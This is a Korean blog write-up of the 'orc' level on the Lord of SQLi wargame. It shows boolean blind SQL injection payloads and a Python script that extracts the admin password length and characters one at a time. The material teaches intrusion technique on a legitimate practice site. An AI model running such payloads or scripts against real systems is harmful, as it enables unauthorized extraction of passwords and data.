write-up(web)/los

[LOS] orc

chanchand 2023. 1. 21. 23:56
반응형

문제


https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php

 

https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php

 

los.rubiya.kr

 

 

 

문제풀이


첫번째 쿼리문에서 pw 파라미터를 통해 계정이 존재하는지 확인한다. 

두번째 쿼리문 반환값의 pw와 pw 파라미터가 동일한지 확인하고, 동일하면 문제가 해결된다.

첫번째 쿼리문에서 blind injection을 시도하여 pw를 알아낼 수 있다.

 

아래 쿼리문을 통해 비밀번호 길이와 문자열을 추측할 수 있다.

select id from prob_orc where id='admin' and pw=''||1=1 -- ''"

 

- pw 길이

select id from prob_orc where id='admin' and pw=''||id='admin' and length(pw)=8 -- ''"

 

- pw 문자열

select id from prob_orc where id='admin' and pw=''||id='admin' and ascii(substr(pw,1,1))=48 -- ''"

 

pw 길이 8 만큼 추측해서 알아내야 하는데, 파이썬 코드를 통해 빠르게 알아낼 수 있다.

import requests
import time

cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?"

# flag_len
flag_len=0
for i in range(50):
  query="pw=%27||id=%27admin%27%20and%20length(pw)={}%20--%20%27".format(i)
  res=requests.get(url+query, cookies=cookie)
  if (res.text.find("<h2>Hello admin</h2>")!=-1):
    flag_len=i
    break

print("flag_len:{}".format(flag_len))


# flag
flag=""

for i in range(1,flag_len+1):
  for j in range(33,128):
    query="pw=%27||id=%27admin%27%20and%20ascii(substr(pw,{},1))={}%20--%20%27".format(i,j)
    res=requests.get(url+query, cookies=cookie)
    if (res.text.find("<h2>Hello admin</h2>")!=-1):
      flag+=chr(j)
      print(flag)
      break

print("flag:{}".format(flag))

 

반응형

'write-up(web) > los' 카테고리의 다른 글

[LOS] darkelf  (0) 2023.01.22
[LOS] wolfman  (0) 2023.01.22
[LOS] goblin  (0) 2023.01.21
[LOS] cobolt  (0) 2023.01.21
[LOS] gremlin  (0) 2023.01.21